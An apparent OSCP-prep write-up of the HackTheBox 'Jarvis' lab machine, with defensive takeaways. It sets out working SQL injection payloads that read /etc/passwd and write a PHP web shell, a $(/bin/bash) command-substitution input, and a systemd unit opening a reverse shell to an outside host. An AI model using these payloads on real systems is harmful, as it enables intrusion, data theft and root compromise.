# OSCP Prep #22 
HTB Write-Up Jarvis

# 1\. **Target Overview**

*   **Machine Name:** Jarvis
    
*   **Platform:** HackTheBox
    
*   **Operating System:** Linux
    
*   **Target IP:** 10.129.229.137
    
*   **Objective:** Obtain initial access and escalate privileges to root
    

Jarvis was a box that was very simple, yet instructional. What made it so valuable was how heavily it relied on two very common attack vectors: **SQL injection** and **command injection**.

On this machine, I could not lean on automation the way I normally might. Once the obvious tooling got shut down down by filtering, I had to work through the attack chain manually and understand each step. Because of that, Jarvis ended up being one of the better boxes I have done for reinforcing core web exploitation fundamentals.

### Tools Used

**1\. Nmap**

Used for initial port scanning and service enumeration. This established the initial attack surface and guided the decision to prioritize the web applications.

**2\. FFUF**

Used for directory enumeration on both exposed web ports. Even when it did not directly reveal the final exploit path, it helped confirm where useful functionality existed and where it did not.

**3\. Browser / Manual Inspection**

Manual interaction with the site was critical on this box. It revealed the behavior of the cod parameter, exposed the temporary blocking mechanism, and made it possible to proceed once automation became unreliable.

**4\. Burp Suite**

Used to manipulate requests and swap in payloads cleanly, especially when moving from simple command execution tests to the reverse shell stage.

**5\. SQL Injection Payloads**

While not a “tool” in the same sense as software, manual SQL injection was the heart of this box. Working through the vulnerability manually was what made the exploitation successful.

**6\. xxd**

Used to hex-encode the PHP payload before writing it to disk through the SQL injection.

7.  **Netcat**
    

Used as the reverse shell listener for both the initial web shell callback and the final root shell.

**GTFOBins**

Used to validate and safely reference the known privilege escalation technique for the SUID systemctl binary.

* * *

# 2\. **Enumeration Phase**

As always, I began with an `nmap` scan to establish the initial attack surface. The scan revealed three open ports:

*   **22/tcp** – SSH
    
*   **80/tcp** – HTTP
    
*   **64999/tcp** – HTTP
    

At that point, the decision of where to focus first was straightforward. SSH usually becomes relevant only after credentials or key material are found, while web applications often expose the broadest and most immediate attack surface. Because of that, I chose to begin with the two web services on ports **80** and **64999**.

To get a quick sense of what each application exposed, I used a combination of manual browsing and **directory enumeration with ffuf**.

The web service on **port 64999** turned out to be uninteresting. Instead of exposing real application functionality, it responded with a simple message stating that I had been banned for 90 seconds. That immediately suggested some kind of rate-limiting or defensive control, but there was no real content or meaningful functionality there to investigate further. Since there was nothing useful to interact with, I set that port aside and moved my attention to the service on **port 80**.

The web application on port 80 was much more substantial. It appeared to be the landing page for a hotel website, with navigation links for rooms, dining, and booking-related content.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/114b6da0-bc69-402d-8fe8-680931c619ea.png align="center")

While clicking through the various room types, I noticed something important: the application changed the returned page based on a query string parameter named `cod`.

The URL looked like this:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2d522f18-9d74-4710-9af6-e43bd0f936b2.png align="center")

```bash
http://10.129.229.137/room.php?cod=1
```

That parameter immediately stood out. Whenever I see a numeric parameter like that deciding which content gets loaded, one of the first questions I ask myself is whether the value is being used in a backend database query. If it is, that makes it a prime candidate for **SQL injection testing**.

To test that theory, I supplied a single quote in the parameter and observed the application’s behavior. Instead of returning the normal room information, the page broke and returned an error-like response with no meaningful room data. That is a classic early indicator that user input is likely being inserted into a SQL query without being handled safely.

At this stage, I had not proven the full extent of the vulnerability yet, but I had enough to justify deeper testing. The application behavior strongly suggested that the `cod` parameter was injectable, so I moved into exploitation with the goal of confirming SQL injection and seeing how far I could push it.

* * *

# 3\. **Exploitation Phase**

### **Confirming and Working Through the SQL Injection**

After seeing the application break when I supplied a single quote, my next instinct was to hand the parameter off to `sqlmap` and let it do the heavy lifting. That is usually the sensible move because `sqlmap` can save a lot of time when a target is straightforward. In this case, though, it failed almost immediately and returned **404 errors** rather than useful enumeration results.

Instead of assuming the tool was wrong, I checked the application manually in the browser. When I revisited the page, I was no longer seeing the normal hotel content. Instead, I got a page telling me that I had been **blocked for 90 seconds**. That explained the sqlmap failure right away. The target had some kind of filtering or lightweight WAF behavior that was detecting repeated or suspicious requests and temporarily blocking them.

That changed the situation in an important way. At that point, the problem was no longer simply “is there SQL injection?” It became:

> “Can I exploit this SQL injection manually in a way that stays below whatever filtering is blocking automation?”

This ended up being one of the most valuable parts of the box for me. Once the tool stopped working, I had to understand the vulnerability well enough to exploit it by hand.

### **Determining the Number of Columns**

When using a SQLi approach manually, one of the first things I needed to know was how many columns were present in the original query. Without that, I would not be able to craft a valid payload so to do this I used UNION SELECT statements.

To work that out, I intentionally set the parameter to a value that did not correspond to a real room. If the original query returned no real application data, it would be easier to spot when my injected union started producing valid output.

From there, I gradually added columns to the `UNION SELECT` statement until the page rendered successfully. The working payload was:

```bash
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,5,6,7;--
```

That told me the backend query used **7 columns**.

Once I had that number, I could begin using those positions to retrieve useful information from the database.

## **Identifying the Database Backend**

With a valid seven-column union in hand, the next question was what type of database I was dealing with. That matters because the available functions, syntax, and file interaction capabilities can vary depending on the backend.

To answer that, I replaced one of the visible positions with `@@version`:

```bash
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,@@version,6,7;--
```

The application returned version information indicating that the backend was **MySQL/MariaDB**.

That was an important result because once I knew I was dealing with MySQL/MariaDB, I could start thinking about file-related functionality such as `load_file()` and file write capabilities. At that point, my mindset shifted from simply proving SQL injection to asking a more useful question:

> “Can this database access help me get remote code execution on the web server?”

### **Checking for File Write Privileges**

For a SQL injection to become code execution in this sort of scenario, I needed some way to place a server-side script somewhere the web application could execute it. On MySQL/MariaDB, that often depends on whether the database user has the **FILE** privilege.

To check that, I used the following payload:

```bash
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,file_priv,6,7 from mysql.user;--
```

The query returned:

```bash
Y
```

A result of `Y` meant the database user had file privileges enabled. In practical terms, that meant I had a realistic path to writing a file onto disk.

This was another major learning moment for me on the box. It forced me to think beyond the usual “extract database contents” mindset. If the database can write to disk, and I can determine the web root, then I may be able to plant a PHP file and use the web server itself to execute commands.

### **Verifying File Read Access and Discovering the Web Root**

Before writing anything, I needed to answer another critical question:

> “Where exactly do I need to write the file so I can reach it through the browser?”

To solve that, I first tested whether I could read files from the host at all. A good file to test with is `/etc/passwd`, since it almost always exists on Linux systems and is readable.

I used:

```bash
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/etc/passwd'),6,7;--
```

The contents were successfully returned, which confirmed that file reads were possible.

Once I knew that worked, I needed to identify the correct web directory. Rather than guessing blindly, I looked at the page source and the files being loaded by the application. One of the referenced files was a CSS file, which gave me a strong candidate path to test. I used:

```bash
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/var/www/html/css/style.css'),6,7;--
```

That request successfully returned the stylesheet content. At that point, I had effectively confirmed that the web application lived under:

```bash
/var/www/html
```

Now I had everything I needed for the next stage:

*   A confirmed SQL injection
    
*   A MySQL/MariaDB backend
    
*   File read capability
    
*   File write privilege
    
*   The likely web root
    

That is the exact combination needed to attempt a web shell.

### **Writing a PHP Web Shell with SQL Injection**

With the path confirmed, the next goal was to write a file that the web server would interpret as PHP.

I chose a very simple PHP web shell:

```php
<?php system($_GET['cmd']); ?>
```

Because I planned to inject this through SQL, I converted the payload into hex first. Encoding it this way makes it easier to include safely inside the query without running into quoting issues.

I generated the hex with:

```bash
echo '<?php system($_GET['cmd']); ?>' | xxd -p | tr -d '\n'
```

Which produced:

```bash
3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a
```

With that prepared, I used SQL syntax to write the file into the web root:

```bash
http://10.129.229.137/room.php?cod=100 or 100=100 LIMIT 0,1 into outfile '/var/www/html/neo.php' lines terminated by 0x3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a;--
```

The logic here is worth spelling out clearly. I was abusing the database’s ability to write a file to disk and placing a PHP script directly into a directory served by Apache. If that succeeded, then requesting the file through the browser would cause the web server to execute the PHP and allow me to pass system commands through the `cmd` parameter.

### **Turning the Web Shell into Remote Code Execution**

To verify that the file had been written successfully and that the server was executing it, I browsed to:

```bash
http://10.129.229.137/neo.php?cmd=id
```

The command executed successfully.

That was the moment the attack moved from SQL injection to full **remote code execution**. I was no longer limited to interacting with the database through the vulnerable parameter. I now had a server-side command execution primitive through the PHP web shell.

From there, I replaced the test command with a bash reverse shell payload, sent the request through Burp, and caught the callback on my listener.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ce0c882d-9c4d-46c2-8bae-4529d3f27b00.png align="center")

That gave me an initial shell as:

```bash
www-data
```

Once connected, I upgraded the shell to a more usable interactive TTY so that local enumeration and privilege escalation would be easier to manage.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3cc4cd11-e3c8-4b1a-aee8-84a67eb3a54b.png align="center")

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/92b93b6e-2efd-46ae-ae35-b9acd79f1fd7.png align="center")

At that point, the web exploitation phase was complete. I had gone from a single injectable URL parameter to code execution on the Linux host. The next objective was to move from the web server context to a more privileged user.

* * *

# 4\. **Privilege Escalation**

### **Escalating from www-data to pepper**

Once I had an interactive shell as `www-data`, the first thing I needed to determine was whether this low-privileged service account had any special local rights that could be abused. On Linux, one of the quickest and most valuable checks in that situation is to inspect **sudo permissions**, because misconfigured sudo rules often provide a direct path to another user or even to root.

So I ran:

```bash
sudo -l
```

The reason for this check is simple: `sudo -l` tells me what commands the current user is allowed to run via sudo and under which user context those commands execute. If a low-privileged account can run a script or binary as another user without a password, that immediately becomes a strong privilege escalation candidate.

In this case, the output showed that `www-data` could run the following Python script as the user **pepper** with **NOPASSWD**:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e1311719-aec9-4878-ad46-a37ae6b3b91f.png align="center")

```bash
/var/www/Admin-Utilities/simpler.py
```

That result gave me a clear next objective:

> “Figure out what this script does, how it handles input, and whether I can abuse it to execute commands as pepper.”

When I reviewed the script, I found the core issue quickly. The script accepted user input that was supposed to represent an IP address, performed some blacklist-style filtering, and then passed the input into a system call:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d5f2c085-c324-40f6-bdd3-ef696421cafc.png align="center")

```python
os.system('ping ' + command)
```

That is the real vulnerability. The danger is not simply that the script runs `ping`. The danger is that it builds a shell command using unsafely handled user input and then executes that string through `os.system()`. Once input is evaluated by a shell, all of the shell’s parsing rules come into play.

The script’s author had attempted to block dangerous characters such as `&`, `;`, and similar metacharacters. But blacklist filtering is weak by nature because it usually only blocks the payloads the developer thought of. Attackers only need one syntax path that was missed.

In this case, the script did not account for **command substitution**, which uses the syntax:

```bash
$(command)
```

That matters because the shell evaluates the contents of `$(...)` before finishing the rest of the command. So even if obvious separators like `;` are blocked, command substitution may still result in arbitrary execution.

To test that, I ran the script as pepper and supplied:

```bash
$(/bin/bash)
```

The command looked like this:

```bash
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
```

When the script prompted for an IP, I entered:

```bash
$(/bin/bash)
```

This worked because the shell interpreted the substitution before carrying out the intended `ping` command. As a result, I obtained a shell as:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5ab51956-f37f-4714-94aa-eb50d82088f2.png align="center")

```bash
pepper
```

That completed the first privilege escalation step. I had moved from the low-privileged web account `www-data` to a real local user account, which significantly expanded the chances of reaching root.

### **Escalating from pepper to root**

Now that I had a shell as `pepper`, the next goal was to identify any local privilege escalation path that would elevate me to root. On Linux, one of the most reliable first checks is to enumerate **SUID binaries**.

SUID stands for Set User ID. When a binary has the SUID bit set and is owned by root, it executes with root’s privileges regardless of which user launched it. That is not automatically vulnerable, but it does mean every SUID binary deserves close attention. If it can be manipulated in an unsafe way, it can become a direct path to full compromise.

To enumerate SUID binaries, I ran:

```bash
find / -type f -perm -4000 2>/dev/null
```

This command searches the filesystem for files with the SUID bit enabled while suppressing permission-denied noise. Most of the returned results were standard and expected. But one entry stood out immediately:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b6a3aa8f-2d90-4358-8360-9b5f9781785d.png align="center")

```bash
/bin/systemctl
```

That is unusual.

The reason this caught my attention right away is that `systemctl` is a powerful administrative tool used to manage services. Seeing it configured as SUID is a major red flag because service management is closely tied to root-level control of the system. If an unprivileged user can influence systemd service behavior through a SUID `systemctl`, there is a strong chance they can turn that into arbitrary command execution as root.

At that point, my reasoning became:

> “This is not a standard SUID binary. Before trying random things, check whether there is already a known abuse path for it.”

For that, I referenced **GTFOBins**, which is one of the best resources for understanding how legitimate binaries can be abused in privilege escalation scenarios. GTFOBins confirmed that `systemctl` can indeed be leveraged to gain code execution as root when misconfigured this way.

The abuse path was clear: create a malicious service unit whose `ExecStart` launches a reverse shell, then use `systemctl` to link and start that service. If the SUID configuration causes `systemctl` to operate with elevated privileges, the service will run as root.

So I created the following service file in my home directory:

```ini
[Service]
Type=oneshot
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.15.205/9001 0>&1"
[Install]
WantedBy=multi-user.target
```

There are two important ideas here:

1.  The `ExecStart` line is what matters most. That is the command systemd will execute when the service runs.
    
2.  Because the service is being managed through a SUID `systemctl`, the expectation is that it will be started with root’s privileges.
    

After creating the service file, I linked and started it with:

```bash
systemctl link /home/pepper/neo.service
systemctl enable --now /home/pepper/neo.service
```

On my attacking machine, I had a listener waiting for the reverse shell. As soon as the service started, the target connected back, and I landed in a shell as:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6542cffc-19ea-452e-b70e-bcbd47e798d0.png align="center")

```bash
root
```

That completed the final privilege escalation step. From initial web access as `www-data`, I had moved to `pepper`, and from there to full root compromise through a misconfigured SUID `systemctl`.

* * *

# 5\. **Lessons Learned**

### **1\. Automation is useful, but it is not understanding**

This machine drove home a point I already knew intellectually but had not fully felt until here: tools are only as useful as the operator behind them. My first instinct was to point `sqlmap` at the target and let it do the work. The moment the filtering interfered with that, I had to fall back on my own understanding of how SQL injection works. That forced me to think through column counts, union-based extraction, version identification, file reads, and file writes step by step.

That is exactly the kind of experience that builds real skill. On a box like this, understanding the vulnerability was far more valuable than knowing the right sqlmap flags.

### **2\. A weak defensive control can still change the attacker’s workflow**

The target’s blocking behavior did not actually stop exploitation, but it did disrupt the easiest path. That is worth noting because even an imperfect defensive measure can slow an attacker down or force them into a noisier or more manual workflow.

The filter here was not strong enough to prevent exploitation, but it was strong enough to push me out of automation and into patient manual testing. That alone changed the shape of the engagement.

### **3\. SQL injection should always be evaluated for impact beyond data theft**

It is easy to think of SQL injection in terms of dumping tables, stealing hashes, or extracting application data. Jarvis was a good reminder that the impact can be much worse when the database account has additional privileges. Once I confirmed that the backend had file write privileges, the vulnerability stopped being just a database issue and became a path to full server-side code execution.

That is a much more serious outcome, and it is exactly why every SQL injection should be evaluated not just for disclosure, but for escalation potential.

### **4\. Blacklist filtering is a bad habit**

The Python script used a blacklist to try to prevent command injection, but blacklist approaches are fragile by design. They depend on the developer predicting every dangerous input pattern ahead of time. Attackers do not need every dangerous pattern to work. They only need one.

In this case, the filter missed command substitution, and that single oversight was enough to turn a helper script into a privilege escalation path. This is a perfect example of why input should be handled safely by design rather than “sanitized” through guesswork.

### **5\. Unusual SUID binaries should always be treated as suspicious**

When I enumerated SUID files, `systemctl` stood out immediately because it simply does not belong there in a safe configuration. That kind of anomaly is exactly what local privilege escalation often hinges on. A good reminder here is that privilege escalation is not always about finding some exotic exploit. Sometimes it is just about recognizing that a powerful administrative binary has been given the wrong permissions.

That kind of misconfiguration is quiet, simple, and devastating.

* * *

# 6\. **Defensive Insight**

### **1\. Parameterized queries would have stopped the initial compromise**

The entire attack chain began because user-supplied input was not handled safely in a SQL query. If the application had used prepared statements with proper parameterization, the SQL injection would not have existed in the first place. That single development decision would have cut off the entire path before it started.

### **2\. Database accounts should follow least privilege**

Even after the injection existed, the damage became much worse because the database user had the **FILE** privilege. That is not something a typical web application account should have unless there is a very specific and well-justified operational need. Restricting that privilege would not have fixed the injection, but it would have greatly reduced the impact by removing the path to web shell placement.

### **3\. Temporary blocking is not the same as robust protection**

The filtering on the target interfered with automation, but it did not actually protect the application from a patient manual attacker. That is an important distinction. Security controls that only disrupt tooling but do not address the underlying flaw can create a false sense of safety. The real fix is not to make exploitation slightly more annoying. The real fix is to remove the vulnerability itself.

### **4\. Shelling out with user input is dangerous**

The privilege escalation path from `www-data` to `pepper` existed because the Python script passed user-controlled input into `os.system()`. That practice is fundamentally risky. If a program must execute another process, it should do so using safer APIs that avoid shell interpretation and treat arguments as structured data rather than as a command string.

The difference between secure execution and shell evaluation is often the difference between normal functionality and full compromise.

### **5\. SUID permissions should be audited carefully**

The final escalation to root was only possible because `systemctl` had been given SUID permissions. That should never survive a competent security review. SUID binaries deserve periodic auditing specifically because a single bad entry in that list can be enough to hand an attacker full root access.

Routine permission reviews and baseline comparisons would make this sort of misconfiguration far easier to catch before deployment.

* * *

# **Useful Commands**

### **Directory Enumeration Against the Web Servers**

```bash
ffuf -u http://10.129.229.137/FUZZ -w /usr/share/wordlists/dirb/common.txt
```

This helped me quickly identify whether the web application exposed any useful files or directories beyond the default landing pages.

### **Manual SQLi Column Count Test**

```bash
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,5,6,7;--
```

I used this to determine that the vulnerable query expected **7 columns**, which was necessary before moving on to more meaningful `UNION SELECT` payloads.

### **Database Version Identification**

```bash
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,@@version,6,7;--
```

This confirmed the backend was **MySQL/MariaDB**, which shaped the rest of the exploitation strategy.

### **Checking Database File Privileges**

```bash
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,file_priv,6,7 from mysql.user;--
```

This told me whether the database account could write files to disk. A result of `Y` meant that writing a web shell was possible.

### **Reading Files Through SQLi**

```bash
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/etc/passwd'),6,7;--
```

I used `load_file()` first to confirm file read access and later to validate the correct web root by reading known web assets.

### **Hex-Encoding the PHP Web Shell**

```bash
echo '<?php system($_GET['cmd']); ?>' | xxd -p | tr -d '\n'
```

This converted the PHP payload into a format that was easier to place into the SQL write query.

### **Writing the PHP Shell to the Web Root**

```bash
http://10.129.229.137/room.php?cod=100 or 100=100 LIMIT 0,1 into outfile '/var/www/html/neo.php' lines terminated by 0x3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a;--
```

This was the step that turned SQL injection into remote code execution by placing a PHP shell inside the web root.

### **Testing Command Execution**

```bash
http://10.129.229.137/neo.php?cmd=id
```

This verified that the file had been written correctly and that the web server was executing the PHP shell.

### **Enumerating SUID Binaries**

```bash
find / -type f -perm -4000 2>/dev/null
```

This identified SUID binaries available to `pepper` and revealed the unusual and highly exploitable `systemctl` entry.

### **Linking and Starting the Malicious Service**

```bash
systemctl link /home/pepper/neo.service
systemctl enable --now /home/pepper/neo.service
```

These commands caused the malicious service file to be recognized and started, resulting in a root shell.
